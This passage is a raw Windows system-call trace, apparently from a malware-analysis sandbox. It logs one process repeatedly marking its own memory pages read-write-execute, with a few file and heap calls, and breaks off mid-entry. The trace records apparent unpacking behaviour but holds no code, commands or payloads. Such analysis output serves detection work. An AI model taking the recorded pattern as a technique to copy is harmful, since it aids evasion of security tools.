0x0 [0256.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.726] NtQueryInformationFile (in: FileHandle=0xb4, IoStatusBlock=0x1eb8f194, FileInformation=0x1eb8ef08, Length=0x208, FileInformationClass=0x9 | out: IoStatusBlock=0x1eb8f194, FileInformation=0x1eb8ef08) returned 0x0 [0256.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.877] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.899] NtClose (Handle=0xb4) returned 0x0 [0256.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.955] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.006] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x208) returned 0x912960 [0257.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.213] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x912960) returned 1 [0257.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.654] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x51f36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x1eb8f1c8, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x1eb8f1c8*(BaseAddress=0x51f36000, AllocationBase=0x51f30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0257.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.155] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, 